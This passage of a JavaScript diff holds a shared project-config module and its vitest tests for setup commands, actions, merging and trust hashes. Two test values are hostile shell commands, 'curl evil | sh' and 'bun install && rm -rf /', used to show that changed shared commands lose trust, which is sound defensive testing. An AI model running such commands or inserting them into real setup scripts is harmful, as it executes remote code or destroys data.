export const isSharedProjectConfigEmpty = (config) => (
|
||||
config.setupWorktree.length === 0
|
||||
&& config.setupWorktreeWait === null
|
||||
&& config.projectActions.length === 0
|
||||
&& config.draftStarters.length === 0
|
||||
&& config.plansDir === null
|
||||
);
|
||||
|
||||
/**
|
||||
* The bytes of a shared file: version first, then only the keys that carry
|
||||
* something, in a fixed order, pretty-printed — the file is committed and
|
||||
* reviewed, so its diffs must stay readable. Actions lose their `source`
|
||||
* mark and keep only the fields the user set.
|
||||
*/
|
||||
export const serializeSharedProjectConfig = (config) => {
|
||||
const document = { version: SHARED_CONFIG_VERSION };
|
||||
if (config.setupWorktree.length > 0) document.setupWorktree = config.setupWorktree;
|
||||
if (config.setupWorktreeWait !== null) document.setupWorktreeWait = config.setupWorktreeWait;
|
||||
if (config.projectActions.length > 0) document.projectActions = sanitizeProjectActions(config.projectActions).map(withoutEmptyIcon);
|
||||
if (config.draftStarters.length > 0) document.draftStarters = config.draftStarters;
|
||||
if (config.plansDir !== null) document.plansDir = config.plansDir;
|
||||
return `${JSON.stringify(document, null, 2)}\n`;
|
||||
};
|
||||
|
||||
/**
|
||||
* The next shared config after a client patch over the current one. Every
|
||||
* named key replaces the current value; a wrongly shaped key is a validation
|
||||
* error, and a `plansDir` outside the repo is refused rather than stored.
|
||||
*/
|
||||
export const applySharedProjectSetupPatch = (current, patch) => {
|
||||
if (!isObjectRecord(patch)) throw new Error('patch must be an object');
|
||||
const next = { ...current };
|
||||
if ('setupWorktree' in patch) {
|
||||
if (!Array.isArray(patch.setupWorktree)) throw new Error('setupWorktree must be an array of commands');
|
||||
next.setupWorktree = sanitizeSetupCommands(patch.setupWorktree);
|
||||
}
|
||||
if ('setupWorktreeWait' in patch) {
|
||||
if (patch.setupWorktreeWait !== null && typeof patch.setupWorktreeWait !== 'boolean') throw new Error('setupWorktreeWait must be a boolean or null');
|
||||
next.setupWorktreeWait = patch.setupWorktreeWait;
|
||||
}
|
||||
if ('projectActions' in patch) {
|
||||
if (!Array.isArray(patch.projectActions)) throw new Error('projectActions must be an array');
|
||||
next.projectActions = sanitizeProjectActions(patch.projectActions);
|
||||
}
|
||||
if ('draftStarters' in patch) {
|
||||
if (!Array.isArray(patch.draftStarters)) throw new Error('draftStarters must be an array');
|
||||
next.draftStarters = sanitizeDraftStarters(patch.draftStarters);
|
||||
}
|
||||
if ('plansDir' in patch) {
|
||||
if (patch.plansDir === null || (typeof patch.plansDir === 'string' && !patch.plansDir.trim())) {
|
||||
next.plansDir = null;
|
||||
} else {
|
||||
const plansDir = normalizePlansDir(patch.plansDir);
|
||||
if (!plansDir) throw new Error('plansDir must be a relative path inside the repository');
|
||||
next.plansDir = plansDir;
|
||||
}
|
||||
}
|
||||
return next;
|
||||
};
|
||||
|
||||
export const EMPTY_SHARED_PROJECT_CONFIG = EMPTY_SHARED;
|
||||
|
||||
export const isProjectSetupValidationError = (error) => {
|
||||
const message = error instanceof Error ? error.message : '';
|
||||
return message.includes('must be') || message.includes('is required') || message.includes('unsupported characters') || message.includes('not found');
|
||||
};
|
||||
@@ -0,0 +1,557 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import os from 'os';
|
||||
import path from 'path';
|
||||
import { mkdir, mkdtemp, readFile, rm, writeFile } from 'fs/promises';
|
||||
|
||||
import { createProjectConfigRuntime } from './project-config.js';
|
||||
import { createProjectIdFromPath, projectPathFromId } from './project-id.js';
|
||||
import {
|
||||
applySharedProjectSetupPatch,
|
||||
isSharedProjectConfigEmpty,
|
||||
mergeProjectSetup,
|
||||
normalizePlansDir,
|
||||
serializeSharedProjectConfig,
|
||||
parseSharedProjectConfig,
|
||||
sharedTrustHashOf,
|
||||
projectSetupPatchToStored,
|
||||
projectSetupViewOf,
|
||||
sanitizeDraftStarters,
|
||||
sanitizeProjectActions,
|
||||
sanitizeSetupCommands,
|
||||
} from './project-setup.js';
|
||||
|
||||
const emptyPersonal = {
|
||||
setupWorktree: [],
|
||||
setupWorktreeWait: null,
|
||||
setupWorktreeMode: 'append',
|
||||
projectActions: [],
|
||||
projectActionsPrimaryId: null,
|
||||
draftStarters: [],
|
||||
hiddenSharedActionIds: [],
|
||||
sharedTrust: null,
|
||||
};
|
||||
|
||||
const createRuntime = async () => {
|
||||
const tempRoot = await mkdtemp(path.join(os.tmpdir(), 'oc-project-setup-'));
|
||||
const runtime = createProjectConfigRuntime({
|
||||
fsPromises: await import('fs/promises'),
|
||||
path,
|
||||
projectsDirPath: path.join(tempRoot, 'projects'),
|
||||
createTaskID: () => 'task-fixed-id',
|
||||
});
|
||||
return {
|
||||
runtime,
|
||||
tempRoot,
|
||||
readRaw: async (projectId) => JSON.parse(await readFile(path.join(tempRoot, 'projects', `${projectId}.json`), 'utf8')),
|
||||
cleanup: () => rm(tempRoot, { recursive: true, force: true }),
|
||||
};
|
||||
};
|
||||
|
||||
describe('project setup sanitizers', () => {
|
||||
it('keeps only non-empty trimmed setup commands', () => {
|
||||
expect(sanitizeSetupCommands([' bun install ', '', 42, '\n'])).toEqual(['bun install']);
|
||||
expect(sanitizeSetupCommands('bun install')).toEqual([]);
|
||||
});
|
||||
|
||||
it('drops actions without id, name, or command and duplicate ids', () => {
|
||||
expect(sanitizeProjectActions([
|
||||
{ id: 'a', name: 'Dev', command: 'bun run dev' },
|
||||
{ id: 'a', name: 'Again', command: 'x' },
|
||||
{ id: '', name: 'No id', command: 'x' },
|
||||
{ id: 'b', name: '', command: 'x' },
|
||||
'not an action',
|
||||
])).toEqual([{ id: 'a', name: 'Dev', command: 'bun run dev', icon: null }]);
|
||||
});
|
||||
|
||||
it('keeps only the optional action fields the user set', () => {
|
||||
expect(sanitizeProjectActions([{
|
||||
id: 'a',
|
||||
name: 'Dev',
|
||||
command: 'bun run dev',
|
||||
icon: ' rocket ',
|
||||
runIn: 'parent',
|
||||
platforms: ['macos', 'MacOS', 'plan9', 'linux'],
|
||||
autoOpenUrl: true,
|
||||
openUrl: 'http://localhost:3000',
|
||||
desktopOpenSshForward: '',
|
||||
}])).toEqual([{
|
||||
id: 'a',
|
||||
name: 'Dev',
|
||||
command: 'bun run dev',
|
||||
icon: 'rocket',
|
||||
autoOpenUrl: true,
|
||||
openUrl: 'http://localhost:3000',
|
||||
platforms: ['macos', 'linux'],
|
||||
runIn: 'parent',
|
||||
}]);
|
||||
});
|
||||
|
||||
it('treats any runIn other than parent as the worktree default', () => {
|
||||
const [worktree, number] = sanitizeProjectActions([
|
||||
{ id: 'a', name: 'A', command: 'x', runIn: 'worktree' },
|
||||
{ id: 'b', name: 'B', command: 'x', runIn: 123 },
|
||||
]);
|
||||
expect(worktree).not.toHaveProperty('runIn');
|
||||
expect(number).not.toHaveProperty('runIn');
|
||||
});
|
||||
|
||||
it('dedupes draft starters by type and name', () => {
|
||||
expect(sanitizeDraftStarters([
|
||||
{ type: 'skill', name: 'triage-prs' },
|
||||
{ type: 'skill', name: 'triage-prs' },
|
||||
{ type: 'command', name: ' explore ' },
|
||||
{ type: 'agent', name: 'nope' },
|
||||
])).toEqual([{ type: 'skill', name: 'triage-prs' }, { type: 'command', name: 'explore' }]);
|
||||
});
|
||||
|
||||
it('builds the personal view from the on-disk keys and nulls a dangling primary action', () => {
|
||||
expect(projectSetupViewOf({
|
||||
'setup-worktree': ['bun install'],
|
||||
'setup-worktree-wait': true,
|
||||
setupWorktreeMode: 'replace',
|
||||
projectActions: [{ id: 'a', name: 'A', command: 'x' }],
|
||||
projectActionsPrimaryId: 'missing',
|
||||
draftStarters: [{ type: 'skill', name: 's' }],
|
||||
hiddenSharedActionIds: ['dev', '', 'dev', 7],
|
||||
sharedTrust: { hash: 'sha256:abc', trustedAt: 5 },
|
||||
scheduledTasks: [{ id: 't' }],
|
||||
})).toEqual({
|
||||
setupWorktree: ['bun install'],
|
||||
setupWorktreeWait: true,
|
||||
setupWorktreeMode: 'replace',
|
||||
projectActions: [{ id: 'a', name: 'A', command: 'x', icon: null }],
|
||||
projectActionsPrimaryId: null,
|
||||
draftStarters: [{ type: 'skill', name: 's' }],
|
||||
hiddenSharedActionIds: ['dev'],
|
||||
sharedTrust: { hash: 'sha256:abc', trustedAt: 5 },
|
||||
});
|
||||
expect(projectSetupViewOf(null)).toEqual(emptyPersonal);
|
||||
});
|
||||
|
||||
it('maps a patch to the stored keys it names and rejects wrong shapes', () => {
|
||||
expect(projectSetupPatchToStored({
|
||||
setupWorktree: ['a'],
|
||||
projectActionsPrimaryId: null,
|
||||
hiddenSharedActionIds: ['x'],
|
||||
setupWorktreeMode: 'replace',
|
||||
})).toEqual({
|
||||
'setup-worktree': ['a'],
|
||||
projectActionsPrimaryId: undefined,
|
||||
hiddenSharedActionIds: ['x'],
|
||||
setupWorktreeMode: 'replace',
|
||||
});
|
||||
expect(projectSetupPatchToStored({})).toEqual({});
|
||||
expect(() => projectSetupPatchToStored({ setupWorktree: 'a' })).toThrow('setupWorktree must be');
|
||||
expect(() => projectSetupPatchToStored({ setupWorktreeWait: 'yes' })).toThrow('setupWorktreeWait must be');
|
||||
expect(() => projectSetupPatchToStored({ projectActions: {} })).toThrow('projectActions must be');
|
||||
expect(() => projectSetupPatchToStored({ draftStarters: null })).toThrow('draftStarters must be');
|
||||
expect(() => projectSetupPatchToStored({ hiddenSharedActionIds: 'dev' })).toThrow('hiddenSharedActionIds must be');
|
||||
expect(() => projectSetupPatchToStored({ setupWorktreeMode: 'merge' })).toThrow('setupWorktreeMode must be');
|
||||
expect(() => projectSetupPatchToStored({ sharedTrustHash: '' })).toThrow('sharedTrustHash must be');
|
||||
expect(projectSetupPatchToStored({ sharedTrustHash: null })).toEqual({ sharedTrust: undefined });
|
||||
expect(projectSetupPatchToStored({ sharedTrustHash: 'sha256:x' }).sharedTrust).toMatchObject({ hash: 'sha256:x' });
|
||||
expect(() => projectSetupPatchToStored([])).toThrow('patch must be');
|
||||
});
|
||||
});
|
||||
|
||||
describe('shared project config', () => {
|
||||
it('accepts a relative plansDir inside the repo only', () => {
|
||||
expect(normalizePlansDir(' docs/plans/ ')).toBe('docs/plans');
|
||||
expect(normalizePlansDir('./.openchamber/plans')).toBe('.openchamber/plans');
|
||||
expect(normalizePlansDir('docs\\plans')).toBe('docs/plans');
|
||||
expect(normalizePlansDir('/etc')).toBeNull();
|
||||
expect(normalizePlansDir('C:/plans')).toBeNull();
|
||||
expect(normalizePlansDir('../sibling/plans')).toBeNull();
|
||||
expect(normalizePlansDir('docs/../../x')).toBeNull();
|
||||
expect(normalizePlansDir('')).toBeNull();
|
||||
});
|
||||
|
||||
it('parses a version-1 file and sanitizes its lists', () => {
|
||||
expect(parseSharedProjectConfig(JSON.stringify({
|
||||
version: 1,
|
||||
setupWorktree: ['bun install', ''],
|
||||
setupWorktreeWait: true,
|
||||
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev' }, { id: '', name: 'x', command: 'y' }],
|
||||
draftStarters: [{ type: 'skill', name: 's' }],
|
||||
plansDir: 'docs/plans',
|
||||
}))).toEqual({
|
||||
status: 'ok',
|
||||
config: {
|
||||
setupWorktree: ['bun install'],
|
||||
setupWorktreeWait: true,
|
||||
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev', icon: null }],
|
||||
draftStarters: [{ type: 'skill', name: 's' }],
|
||||
plansDir: 'docs/plans',
|
||||
},
|
||||
});
|
||||
expect(parseSharedProjectConfig('{"version":1}')).toEqual({
|
||||
status: 'ok',
|
||||
config: { setupWorktree: [], setupWorktreeWait: null, projectActions: [], draftStarters: [], plansDir: null },
|
||||
});
|
||||
});
|
||||
|
||||
it('reports a broken file as invalid with a reason, never as empty', () => {
|
||||
expect(parseSharedProjectConfig('{ nope').status).toBe('invalid');
|
||||
expect(parseSharedProjectConfig('[]')).toEqual({ status: 'invalid', reason: 'not an object' });
|
||||
expect(parseSharedProjectConfig('{"version":2}').reason).toMatch(/unsupported version/);
|
||||
expect(parseSharedProjectConfig('{"version":1,"setupWorktree":"bun install"}').reason).toMatch(/setupWorktree must be/);
|
||||
expect(parseSharedProjectConfig('{"version":1,"plansDir":"/etc"}').reason).toMatch(/plansDir/);
|
||||
});
|
||||
|
||||
it('merges shared and personal by the agreed rules', () => {
|
||||
const shared = {
|
||||
status: 'ok',
|
||||
config: {
|
||||
setupWorktree: ['bun install'],
|
||||
setupWorktreeWait: true,
|
||||
projectActions: [
|
||||
{ id: 'dev', name: 'Dev', command: 'bun run dev', icon: null },
|
||||
{ id: 'test', name: 'Test', command: 'bun test', icon: null },
|
||||
{ id: 'lint', name: 'Lint', command: 'bun lint', icon: null },
|
||||
],
|
||||
draftStarters: [{ type: 'skill', name: 'shared-skill' }, { type: 'command', name: 'both' }],
|
||||
plansDir: 'docs/plans',
|
||||
},
|
||||
};
|
||||
const personal = {
|
||||
...emptyPersonal,
|
||||
setupWorktree: ['cp .env.example .env'],
|
||||
projectActions: [{ id: 'test', name: 'My test', command: 'bun test --watch', icon: null }],
|
||||
projectActionsPrimaryId: 'test',
|
||||
draftStarters: [{ type: 'command', name: 'both' }, { type: 'command', name: 'mine' }],
|
||||
hiddenSharedActionIds: ['lint'],
|
||||
};
|
||||
|
||||
const merged = mergeProjectSetup(personal, shared);
|
||||
expect(merged.setupWorktree).toEqual(['bun install', 'cp .env.example .env']);
|
||||
expect(merged.setupWorktreeWait).toBe(true);
|
||||
expect(merged.projectActions).toEqual([
|
||||
{ id: 'dev', name: 'Dev', command: 'bun run dev', icon: null, source: 'shared' },
|
||||
{ id: 'test', name: 'My test', command: 'bun test --watch', icon: null, source: 'personal' },
|
||||
]);
|
||||
expect(merged.projectActionsPrimaryId).toBe('test');
|
||||
expect(merged.draftStarters).toEqual([
|
||||
{ type: 'skill', name: 'shared-skill', source: 'shared' },
|
||||
{ type: 'command', name: 'both', source: 'shared' },
|
||||
{ type: 'command', name: 'mine', source: 'personal' },
|
||||
]);
|
||||
expect(merged.shared).toEqual({ status: 'ok', path: '.openchamber/project.json', ...shared.config });
|
||||
expect(merged.personal).toBe(personal);
|
||||
expect(merged.trust).toEqual({ hash: sharedTrustHashOf(shared.config), trusted: false });
|
||||
});
|
||||
|
||||
it('hashes the executable parts of the shared config, order-independent for actions', () => {
|
||||
const base = { setupWorktree: ['bun install'], projectActions: [{ id: 'b', name: 'B', command: 'y', icon: null }, { id: 'a', name: 'A', command: 'x', icon: null }], draftStarters: [], plansDir: null, setupWorktreeWait: null };
|
||||
const hash = sharedTrustHashOf(base);
|
||||
expect(hash).toMatch(/^sha256:[0-9a-f]{64}$/);
|
||||
expect(sharedTrustHashOf({ ...base, projectActions: [...base.projectActions].reverse() })).toBe(hash);
|
||||
// Renaming or re-describing does not change what runs; changing a command does.
|
||||
expect(sharedTrustHashOf({ ...base, projectActions: base.projectActions.map((a) => ({ ...a, name: 'Renamed', icon: 'rocket' })) })).toBe(hash);
|
||||
expect(sharedTrustHashOf({ ...base, setupWorktree: ['curl evil | sh'] })).not.toBe(hash);
|
||||
expect(sharedTrustHashOf({ ...base, projectActions: [{ ...base.projectActions[0], runIn: 'parent' }, base.projectActions[1]] })).not.toBe(hash);
|
||||
expect(sharedTrustHashOf({ ...base, setupWorktree: [], projectActions: [] })).toBeNull();
|
||||
});
|
||||
|
||||
it('reports trust: nothing to trust without executable shared parts, trusted only for the recorded hash', () => {
|
||||
const inert = { status: 'ok', config: { setupWorktree: [], setupWorktreeWait: null, projectActions: [], draftStarters: [{ type: 'skill', name: 's' }], plansDir: null } };
|
||||
expect(mergeProjectSetup(emptyPersonal, inert).trust).toEqual({ hash: null, trusted: true });
|
||||
expect(mergeProjectSetup(emptyPersonal, { status: 'missing' }).trust).toEqual({ hash: null, trusted: true });
|
||||
|
||||
const risky = { status: 'ok', config: { ...inert.config, setupWorktree: ['bun install'] } };
|
||||
const hash = sharedTrustHashOf(risky.config);
|
||||
expect(mergeProjectSetup(emptyPersonal, risky).trust).toEqual({ hash, trusted: false });
|
||||
expect(mergeProjectSetup({ ...emptyPersonal, sharedTrust: { hash, trustedAt: 1 } }, risky).trust.trusted).toBe(true);
|
||||
expect(mergeProjectSetup({ ...emptyPersonal, sharedTrust: { hash: 'sha256:stale', trustedAt: 1 } }, risky).trust.trusted).toBe(false);
|
||||
});
|
||||
|
||||
it('lets the personal wait flag and replace mode win over shared', () => {
|
||||
const shared = { status: 'ok', config: { setupWorktree: ['bun install'], setupWorktreeWait: true, projectActions: [], draftStarters: [], plansDir: null } };
|
||||
const merged = mergeProjectSetup({ ...emptyPersonal, setupWorktree: ['mine'], setupWorktreeWait: false, setupWorktreeMode: 'replace' }, shared);
|
||||
expect(merged.setupWorktree).toEqual(['mine']);
|
||||
expect(merged.setupWorktreeWait).toBe(false);
|
||||
});
|
||||
|
||||
it('carries an invalid shared read through with its reason and merges nothing from it', () => {
|
||||
const merged = mergeProjectSetup({ ...emptyPersonal, setupWorktree: ['mine'] }, { status: 'invalid', reason: 'invalid JSON: x' });
|
||||
expect(merged.setupWorktree).toEqual(['mine']);
|
||||
expect(merged.shared.status).toBe('invalid');
|
||||
expect(merged.shared.reason).toBe('invalid JSON: x');
|
||||
expect(merged.shared.projectActions).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('shared project config writes', () => {
|
||||
const empty = { setupWorktree: [], setupWorktreeWait: null, projectActions: [], draftStarters: [], plansDir: null };
|
||||
|
||||
it('applies a patch over the current config and refuses wrong shapes', () => {
|
||||
const next = applySharedProjectSetupPatch({ ...empty, setupWorktree: ['old'] }, {
|
||||
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev', source: 'personal', icon: '' }],
|
||||
plansDir: './docs/plans/',
|
||||
});
|
||||
expect(next.setupWorktree).toEqual(['old']);
|
||||
expect(next.projectActions).toEqual([{ id: 'dev', name: 'Dev', command: 'bun run dev', icon: null }]);
|
||||
expect(next.plansDir).toBe('docs/plans');
|
||||
expect(applySharedProjectSetupPatch(next, { plansDir: '' }).plansDir).toBeNull();
|
||||
expect(() => applySharedProjectSetupPatch(empty, { plansDir: '/etc' })).toThrow('plansDir must be');
|
||||
expect(() => applySharedProjectSetupPatch(empty, { setupWorktree: 'x' })).toThrow('setupWorktree must be');
|
||||
expect(() => applySharedProjectSetupPatch(empty, { setupWorktreeWait: 'yes' })).toThrow('setupWorktreeWait must be');
|
||||
});
|
||||
|
||||
it('serializes version first, only the keys that carry something, without source marks', () => {
|
||||
expect(serializeSharedProjectConfig({ ...empty, projectActions: [{ id: 'dev', name: 'Dev', command: 'x', icon: null, source: 'personal' }], plansDir: 'docs/plans' })).toBe([
|
||||
'{',
|
||||
' "version": 1,',
|
||||
' "projectActions": [',
|
||||
' {',
|
||||
' "id": "dev",',
|
||||
' "name": "Dev",',
|
||||
' "command": "x"',
|
||||
' }',
|
||||
' ],',
|
||||
' "plansDir": "docs/plans"',
|
||||
'}',
|
||||
'',
|
||||
].join('\n'));
|
||||
expect(isSharedProjectConfigEmpty(empty)).toBe(true);
|
||||
expect(isSharedProjectConfigEmpty({ ...empty, setupWorktreeWait: false })).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('project id', () => {
|
||||
it('round-trips a path through the id', () => {
|
||||
const id = createProjectIdFromPath('/Users/me/projects/repo/');
|
||||
expect(id.startsWith('path_')).toBe(true);
|
||||
expect(projectPathFromId(id)).toBe('/Users/me/projects/repo');
|
||||
expect(projectPathFromId('project-test')).toBe('');
|
||||
expect(projectPathFromId('path_')).toBe('');
|
||||
});
|
||||
});
|
||||
|
||||
describe('project setup runtime', () => {
|
||||
it('reads an empty merged view for a project without files', async () => {
|
||||
const { runtime, cleanup } = await createRuntime();
|
||||
try {
|
||||
const view = await runtime.readProjectSetup('project-a');
|
||||
expect(view.setupWorktree).toEqual([]);
|
||||
expect(view.setupWorktreeWait).toBe(false);
|
||||
expect(view.projectActions).toEqual([]);
|
||||
expect(view.draftStarters).toEqual([]);
|
||||
expect(view.shared.status).toBe('missing');
|
||||
expect(view.personal).toEqual(emptyPersonal);
|
||||
} finally {
|
||||
await cleanup();
|
||||
}
|
||||
});
|
||||
|
||||
it('round-trips a patch and preserves server-owned and unknown keys', async () => {
|
||||
const { runtime, tempRoot, readRaw, cleanup } = await createRuntime();
|
||||
try {
|
||||
await mkdir(path.join(tempRoot, 'projects'), { recursive: true });
|
||||
await writeFile(path.join(tempRoot, 'projects', 'project-a.json'), JSON.stringify({
|
||||
version: 1,
|
||||
scheduledTasks: [{ id: 'task', name: 'Keep me' }],
|
||||
futureKey: { from: 'a newer build' },
|
||||
'setup-worktree': ['old'],
|
||||
}));
|
||||
|
||||
const view = await runtime.updateProjectSetup('project-a', {
|
||||
setupWorktree: ['bun install', ''],
|
||||
setupWorktreeWait: true,
|
||||
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev' }],
|
||||
projectActionsPrimaryId: 'dev',
|
||||
projectPath: '/repo/a',
|
||||
});
|
||||
expect(view.setupWorktree).toEqual(['bun install']);
|
||||
expect(view.setupWorktreeWait).toBe(true);
|
||||
expect(view.projectActions).toEqual([{ id: 'dev', name: 'Dev', command: 'bun run dev', icon: null, source: 'personal' }]);
|
||||
expect(view.projectActionsPrimaryId).toBe('dev');
|
||||
|
||||
const raw = await readRaw('project-a');
|
||||
expect(raw.scheduledTasks).toEqual([{ id: 'task', name: 'Keep me' }]);
|
||||
expect(raw.futureKey).toEqual({ from: 'a newer build' });
|
||||
expect(raw['setup-worktree']).toEqual(['bun install']);
|
||||
expect(raw['setup-worktree-wait']).toBe(true);
|
||||
expect(raw.projectPath).toBe('/repo/a');
|
||||
expect(await runtime.readProjectSetup('project-a')).toEqual(view);
|
||||
} finally {
|
||||
await cleanup();
|
||||
}
|
||||
});
|
||||
|
||||
it('clears the primary action id when the patch sets it to null', async () => {
|
||||
const { runtime, readRaw, cleanup } = await createRuntime();
|
||||
try {
|
||||
await runtime.updateProjectSetup('project-a', {
|
||||
projectActions: [{ id: 'dev', name: 'Dev', command: 'x' }],
|
||||
projectActionsPrimaryId: 'dev',
|
||||
});
|
||||
await runtime.updateProjectSetup('project-a', { projectActionsPrimaryId: null });
|
||||
expect(await readRaw('project-a')).not.toHaveProperty('projectActionsPrimaryId');
|
||||
expect((await runtime.readProjectSetup('project-a')).projectActionsPrimaryId).toBeNull();
|
||||
} finally {
|
||||
await cleanup();
|
||||
}
|
||||
});
|
||||
|
||||
it('leaves the file alone when the patch is invalid', async () => {
|
||||
const { runtime, tempRoot, cleanup } = await createRuntime();
|
||||
try {
|
||||
await expect(runtime.updateProjectSetup('project-a', { setupWorktree: 'nope' })).rejects.toThrow('setupWorktree must be');
|
||||
await expect(readFile(path.join(tempRoot, 'projects', 'project-a.json'), 'utf8')).rejects.toMatchObject({ code: 'ENOENT' });
|
||||
} finally {
|
||||
await cleanup();
|
||||
}
|
||||
});
|
||||
|
||||
it('does not clobber a scheduled task written between read and write', async () => {
|
||||
const { runtime, readRaw, cleanup } = await createRuntime();
|
||||
try {
|
||||
await runtime.upsertScheduledTask('project-a', {
|
||||
name: 'Nightly',
|
||||
enabled: true,
|
||||
schedule: { kind: 'daily', time: '09:30', timezone: 'UTC' },
|
||||
execution: { prompt: 'hi', providerID: 'openai', modelID: 'gpt' },
|
||||
});
|
||||
await Promise.all([
|
||||
runtime.updateProjectSetup('project-a', { setupWorktree: ['bun install'] }),
|
||||
runtime.updateProjectSetup('project-a', { draftStarters: [{ type: 'skill', name: 's' }] }),
|
||||
]);
|
||||
const raw = await readRaw('project-a');
|
||||
expect(raw.scheduledTasks).toHaveLength(1);
|
||||
expect(raw['setup-worktree']).toEqual(['bun install']);
|
||||
expect(raw.draftStarters).toEqual([{ type: 'skill', name: 's' }]);
|
||||
} finally {
|
||||
await cleanup();
|
||||
}
|
||||
});
|
||||
|
||||
it('reads the shared file from the checkout the id names and merges it', async () => {
|
||||
const { runtime, tempRoot, cleanup } = await createRuntime();
|
||||
try {
|
||||
const repo = path.join(tempRoot, 'repo');
|
||||
await mkdir(path.join(repo, '.openchamber'), { recursive: true });
|
||||
await writeFile(path.join(repo, '.openchamber', 'project.json'), JSON.stringify({
|
||||
version: 1,
|
||||
setupWorktree: ['bun install'],
|
||||
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev' }, { id: 'lint', name: 'Lint', command: 'bun lint' }],
|
||||
draftStarters: [{ type: 'skill', name: 'triage' }],
|
||||
plansDir: 'docs/plans',
|
||||
}));
|
||||
const projectId = createProjectIdFromPath(repo);
|
||||
|
||||
const fresh = await runtime.readProjectSetup(projectId);
|
||||
expect(fresh.shared.status).toBe('ok');
|
||||
expect(fresh.shared.plansDir).toBe('docs/plans');
|
||||
expect(fresh.setupWorktree).toEqual(['bun install']);
|
||||
expect(fresh.projectActions.map((action) => `${action.id}:${action.source}`)).toEqual(['dev:shared', 'lint:shared']);
|
||||
|
||||
const view = await runtime.updateProjectSetup(projectId, {
|
||||
setupWorktree: ['cp .env.example .env'],
|
||||
hiddenSharedActionIds: ['lint'],
|
||||
projectActions: [{ id: 'mine', name: 'Mine', command: 'x' }],
|
||||
});
|
||||
expect(view.setupWorktree).toEqual(['bun install', 'cp .env.example .env']);
|
||||
expect(view.projectActions.map((action) => `${action.id}:${action.source}`)).toEqual(['dev:shared', 'mine:personal']);
|
||||
expect(view.draftStarters).toEqual([{ type: 'skill', name: 'triage', source: 'shared' }]);
|
||||
expect(view.personal.hiddenSharedActionIds).toEqual(['lint']);
|
||||
|
||||
expect(view.trust.trusted).toBe(false);
|
||||
const trusted = await runtime.updateProjectSetup(projectId, { sharedTrustHash: view.trust.hash });
|
||||
expect(trusted.trust.trusted).toBe(true);
|
||||
expect(trusted.personal.sharedTrust?.hash).toBe(view.trust.hash);
|
||||
// A pull that changes a shared command invalidates the answer.
|
||||
await writeFile(path.join(repo, '.openchamber', 'project.json'), JSON.stringify({ version: 1, setupWorktree: ['bun install && rm -rf /'] }));
|
||||
expect((await runtime.readProjectSetup(projectId)).trust.trusted).toBe(false);
|
||||
const reset = await runtime.updateProjectSetup(projectId, { sharedTrustHash: null });
|
||||
expect(reset.personal.sharedTrust).toBeNull();
|
||||
} finally {
|
||||
await cleanup();
|
||||
}
|
||||
});
|
||||
|
||||
it('writes the shared file into the checkout, trusts it for the writer, and removes it when emptied', async () => {
|
||||
const { runtime, tempRoot, readRaw, cleanup } = await createRuntime();
|
||||
try {
|
||||
const repo = path.join(tempRoot, 'repo');
|
||||
await mkdir(repo, { recursive: true });
|
||||
const projectId = createProjectIdFromPath(repo);
|
||||
const sharedPath = path.join(repo, '.openchamber', 'project.json');
|
||||
|
||||
const shared = await runtime.updateSharedProjectSetup(projectId, {
|
||||
setupWorktree: ['bun install'],
|
||||
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev' }],
|
||||
});
|
||||
expect(JSON.parse(await readFile(sharedPath, 'utf8'))).toEqual({
|
||||
version: 1,
|
||||
setupWorktree: ['bun install'],
|
||||
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev' }],
|
||||
});
|
||||
expect(shared.shared.status).toBe('ok');
|
||||
expect(shared.projectActions.map((action) => `${action.id}:${action.source}`)).toEqual(['dev:shared']);
|
||||
// The writer has seen what it shared: trusted here, prompt stays for teammates.
|
||||
expect(shared.trust.trusted).toBe(true);
|
||||
expect((await readRaw(projectId)).sharedTrust.hash).toBe(shared.trust.hash);
|
||||
|
||||
// A second patch replaces only the keys it names.
|
||||
const withPlans = await runtime.updateSharedProjectSetup(projectId, { plansDir: 'docs/plans' });
|
||||
expect(withPlans.shared.plansDir).toBe('docs/plans');
|
||||
expect(withPlans.shared.setupWorktree).toEqual(['bun install']);
|
||||
|
||||
const emptied = await runtime.updateSharedProjectSetup(projectId, { setupWorktree: [], projectActions: [], plansDir: null });
|
||||
expect(emptied.shared.status).toBe('missing');
|
||||
await expect(readFile(sharedPath, 'utf8')).rejects.toMatchObject({ code: 'ENOENT' });
|
||||
await expect(readFile(path.join(repo, '.openchamber'), 'utf8')).rejects.toMatchObject({ code: 'ENOENT' });
|
||||
expect((await readRaw(projectId)).sharedTrust).toBeUndefined();
|
||||
} finally {
|
||||
await cleanup();
|
||||
}
|
||||
});
|
||||
|
||||
it('refuses to write the shared file for a checkout that does not exist and on a bad patch', async () => {
|
||||
const { runtime, tempRoot, cleanup } = await createRuntime();
|
||||
try {
|
||||
const projectId = createProjectIdFromPath(path.join(tempRoot, 'missing-repo'));
|
||||
await expect(runtime.updateSharedProjectSetup(projectId, { setupWorktree: ['x'] })).rejects.toThrow('project checkout not found');
|
||||
await expect(runtime.updateSharedProjectSetup('project-test', { setupWorktree: ['x'] })).rejects.toThrow('project checkout not found');
|
||||
const repo = path.join(tempRoot, 'repo');
|
||||
await mkdir(repo, { recursive: true });
|
||||
await expect(runtime.updateSharedProjectSetup(createProjectIdFromPath(repo), { plansDir: '../x' })).rejects.toThrow('plansDir must be');
|
||||
await expect(readFile(path.join(repo, '.openchamber', 'project.json'), 'utf8')).rejects.toMatchObject({ code: 'ENOENT' });
|
||||
} finally {
|
||||
await cleanup();
|
||||
}
|
||||
});
|
||||
|
||||
it('resolves the repository plans folder: the default without plansDir, the configured one instead of it', async () => {
|
||||
const { runtime, tempRoot, cleanup } = await createRuntime();
|
||||
try {
|
||||
const repo = path.join(tempRoot, 'repo');
|
||||
await mkdir(repo, { recursive: true });
|
||||
const projectId = createProjectIdFromPath(repo);
|
||||
expect(await runtime.resolveSharedPlansDir(projectId)).toBe(path.join(repo, '.openchamber', 'plans'));
|
||||
await runtime.updateSharedProjectSetup(projectId, { plansDir: 'docs/plans' });
|
||||
expect(await runtime.resolveSharedPlansDir(projectId)).toBe(path.join(repo, 'docs', 'plans'));
|
||||
